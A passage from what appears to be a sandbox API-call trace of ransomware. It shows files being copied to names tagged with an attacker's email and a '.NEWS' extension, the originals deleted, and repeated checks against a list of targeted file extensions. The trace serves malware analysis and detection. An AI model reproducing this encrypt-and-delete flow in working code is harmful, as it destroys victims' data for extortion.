Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.941] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf")) returned 1 [0190.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0190.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0190.268] lstrlenW (lpString=".doc") returned 4 [0190.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.268] lstrlenW (lpString=".docx") returned 5 [0190.268] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0190.268] lstrlenW (lpString=".pdf") returned 4 [0190.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.269] lstrlenW (lpString=".xls") returned 4 [0190.269] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.269] lstrlenW (lpString=".xlsx") returned 5 [0190.269] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0190.269] lstrlenW (lpString=".ppt") returned 4 [0190.269] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0190.269] lstrlenW (lpString=".zip") returned 4 [0190.269] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.269] lstrlenW (lpString=".rar") returned 4 [0190.269] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.269] lstrlenW (lpString=".bz2") returned 4 [0190.269] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.269] lstrlenW (lpString=".7z") returned 3 [0190.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0190.269] lstrlenW (lpString=".dbf") returned 4 [0190.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0190.269] lstrlenW (lpString=".1cd") returned 4 [0190.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0190.269] lstrlenW (lpString=".jpg") returned 4 [0190.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0190.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0190.269] lstrlenW (lpString=".doc") returned 4 [0190.269] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.269] lstrlenW (lpString=".docx") returned 5 [0190.269] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0190.269] lstrlenW (lpString=".pdf") returned 4 [0190.269] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.269] lstrlenW (lpString=".xls") returned 4 [0190.269] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.270] lstrlenW (lpString=".xlsx") returned 5 [0190.270] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0190.270] lstrlenW (lpString=".ppt") returned 4 [0190.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0190.270] lstrlenW (lpString=".zip") returned 4 [0190.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.270] lstrlenW (lpString=".rar") returned 4 [0190.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.270] lstrlenW (lpString=".bz2") returned 4 [0190.270] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.270] lstrlenW (lpString=".7z") returned 3 [0190.270] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0190.270] lstrlenW (lpString=".dbf") returned 4 [0190.270] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0190.270] lstrlenW (lpString=".1cd") returned 4 [0190.270] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68 [0190.270] lstrlenW (lpString=".jpg") returned 4 [0190.270] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.270] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0190.270] lstrlenW (lpString="J0152882.WMF") returned 12 [0190.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0190.318] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=9072) returned 1 [0190.318] CloseHandle (hObject=0x2c4) returned 1 [0190.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf")) returned 0x220 [0190.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0190.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0190.320] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.320] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0190.321] GetLastError () returned 0x0 [0190.321] ReadFile (in: hFile=0x2c4, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x2370, lpOverlapped=0x0) returned 1 [0190.323] WriteFile (in: hFile=0x2c8, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2380, lpOverlapped=0x0) returned 1 [0190.324] ReadFile (in: hFile=0x2c4, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0190.324] WriteFile (in: hFile=0x2c8, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0190.324] SetEndOfFile (hFile=0x2c8) returned 1 [0190.324] CloseHandle (hObject=0x2c8) returned 1 [0190.324] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.325] SetEndOfFile (hFile=0x2c4) returned 1 [0190.327] CloseHandle (hObject=0x2c4) returned 1 [0190.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0190.327] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf")) returned 1 [0190.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0190.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0190.328] lstrlenW (lpString=".doc") returned 4 [0190.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.328] lstrlenW (lpString=".docx") returned 5 [0190.328] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0190.329] lstrlenW (lpString=".pdf") returned 4 [0190.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.329] lstrlenW (lpString=".xls") returned 4 [0190.329] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.329] lstrlenW (lpString=".xlsx") returned 5 [0190.329] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0190.329] lstrlenW (lpString=".ppt") returned 4 [0190.329] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0190.329] lstrlenW (lpString=".zip") returned 4 [0190.329] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.329] lstrlenW (lpString=".rar") returned 4 [0190.329] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.329] lstrlenW (lpString=".bz2") returned 4 [0190.329] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.329] lstrlenW (lpString=".7z") returned 3 [0190.329] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0190.329] lstrlenW (lpString=".dbf") returned 4 [0190.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0190.329] lstrlenW (lpString=".1cd") returned 4 [0190.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0190.329] lstrlenW (lpString=".jpg") returned 4 [0190.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0190.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0190.329] lstrlenW (lpString=".doc") returned 4 [0190.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.329] lstrlenW (lpString=".docx") returned 5 [0190.329] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0190.329] lstrlenW (lpString=".pdf") returned 4 [0190.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.329] lstrlenW (lpString=".xls") returned 4 [0190.329] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.330] lstrlenW (lpString=".xlsx") returned 5 [0190.330] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0190.330] lstrlenW (lpString=".ppt") returned 4 [0190.330] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0190.330] lstrlenW (lpString=".zip") returned 4 [0190.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.330] lstrlenW (lpString=".rar") returned 4 [0190.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.330] lstrlenW (lpString=".bz2") returned 4 [0190.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.330] lstrlenW (lpString=".7z") returned 3 [0190.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0190.330] lstrlenW (lpString=".dbf") returned 4 [0190.330] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0190.330] lstrlenW (lpString=".1cd") returned 4 [0190.330] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0190.330] lstrlenW (lpString=".jpg") returned 4 [0190.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.330] lstrlenW (lpString=".id-") returned 4 [0190.330] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47cf88 | out: hHeap=0x420000) returned 1 [0190.330] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bdb48 | out: hHeap=0x420000) returned 1 [0190.330] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x500a40 | out: hHeap=0x420000) returned 1 [0190.330] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3830048 | out: hHeap=0x420000) returned 1 [0190.332] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x393d020 | out: hHeap=0x420000) returned 1 [0190.337] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47cf40 | out: hHeap=0x420000) returned 1 [0190.337] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4089870 [0190.337] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4089870, Size=0x20) returned 0x408df88 [0190.337] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4089768 [0190.337] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4089768, Size=0x20) returned 0x408dbc8 [0190.337] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0190.337] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0190.337] Wow64DisableWow64FsRedirection (in: OldValue=0x2d1ff50 | out: OldValue=0x2d1ff50*=0x1) returned 1 [0190.337] lstrlenW (lpString="kernel32.dll") returned 12 [0190.337] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408dbc8 | out: hHeap=0x420000) returned 1 [0190.338] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0190.338] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408df88 | out: hHeap=0x420000) returned 1 Thread: id = 41 os_tid = 0xdec [0156.897] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x3840b40 [0156.897] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x3850b48 [0156.898] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d0c0 [0156.898] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x6) returned 0x4bdb98 [0156.898] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d0d8 [0156.898] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x3a40020 [0156.900] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d0f0 [0156.900] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47d0f0, Size=0x20) returned 0x45f300 [0156.900] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d0f0 [0156.900] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47d0f0, Size=0x20) returned 0x45f350 [0156.901] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0156.901] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0156.901] Wow64DisableWow64FsRedirection (in: OldValue=0x2e5ff50 | out: OldValue=0x2e5ff50*=0x0) returned 1 [0156.901] lstrlenW (lpString="kernel32.dll") returned 12 [0156.901] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f300 | out: hHeap=0x420000) returned 1 [0156.901] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0156.901] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f350 | out: hHeap=0x420000) returned 1 [0156.901] Sleep (dwMilliseconds=0x64) [0157.154] Sleep (dwMilliseconds=0x64) [0157.454] Sleep (dwMilliseconds=0x64) [0157.637] Sleep (dwMilliseconds=0x64) [0157.845] Sleep (dwMilliseconds=0x64) [0158.010] Sleep (dwMilliseconds=0x64) [0158.284] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0158.284] lstrlenW (lpString="boxed-delete.avi") returned 16 [0158.284] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0158.324] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=48936) returned 1 [0158.324] CloseHandle (hObject=0x3b8) returned 1 [0158.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0158.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0158.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0158.345] lstrlenW (lpString=".doc") returned 4 [0158.345] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0158.345] lstrlenW (lpString=".docx") returned 5 [0158.345] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0158.345] lstrlenW (lpString=".pdf") returned 4 [0158.345] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0158.345] lstrlenW (lpString=".xls") returned 4 [0158.345] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0158.345] lstrlenW (lpString=".xlsx") returned 5 [0158.345] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0158.345] lstrlenW (lpString=".ppt") returned 4 [0158.346] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0158.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0158.346] lstrlenW (lpString=".zip") returned 4 [0158.346] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0158.346] lstrlenW (lpString=".rar") returned 4 [0158.346] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0158.346] lstrlenW (lpString=".bz2") returned 4 [0158.346] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0158.346] lstrlenW (lpString=".7z") returned 3 [0158.346] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0158.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0158.346] lstrlenW (lpString=".dbf") returned 4 [0158.346] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0158.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0158.346] lstrlenW (lpString=".1cd") returned 4 [0158.346] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0158.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0158.346] lstrlenW (lpString=".jpg") returned 4 [0158.346] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0158.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0158.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0158.346] lstrlenW (lpString=".doc") returned 4 [0158.346] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0158.346] lstrlenW (lpString=".docx") returned 5 [0158.346] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0158.346] lstrlenW (lpString=".pdf") returned 4 [0158.346] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0158.346] lstrlenW (lpString=".xls") returned 4 [0158.347] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0158.347] lstrlenW (lpString=".xlsx") returned 5 [0158.347] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0158.347] lstrlenW (lpString=".ppt") returned 4 [0158.347] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0158.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0158.347] lstrlenW (lpString=".zip") returned 4 [0158.347] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0158.347] lstrlenW (lpString=".rar") returned 4 [0158.347] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0158.347] lstrlenW (lpString=".bz2") returned 4 [0158.347] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0158.347] lstrlenW (lpString=".7z") returned 3 [0158.347] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0158.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0158.347] lstrlenW (lpString=".dbf") returned 4 [0158.347] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0158.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0158.347] lstrlenW (lpString=".1cd") returned 4 [0158.347] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0158.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0158.347] lstrlenW (lpString=".jpg") returned 4 [0158.347] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0158.347] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0158.348] lstrlenW (lpString="boxed-split.avi") returned 15 [0158.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0158.380] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=84190) returned 1 [0158.380] CloseHandle (hObject=0x3d4) returned 1 [0158.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0158.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0158.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0158.592] lstrlenW (lpString=".doc") returned 4 [0158.592] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0158.592] lstrlenW (lpString=".docx") returned 5 [0158.592] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0158.592] lstrlenW (lpString=".pdf") returned 4 [0158.592] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0158.592] lstrlenW (lpString=".xls") returned 4 [0158.592] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0158.592] lstrlenW (lpString=".xlsx") returned 5 [0158.592] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0158.593] lstrlenW (lpString=".ppt") returned 4 [0158.593] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0158.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0158.593] lstrlenW (lpString=".zip") returned 4 [0158.593] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0158.593] lstrlenW (lpString=".rar") returned 4 [0158.593] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0158.593] lstrlenW (lpString=".bz2") returned 4 [0158.593] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0158.593] lstrlenW (lpString=".7z") returned 3 [0158.593] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0158.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0158.593] lstrlenW (lpString=".dbf") returned 4 [0158.593] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0158.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 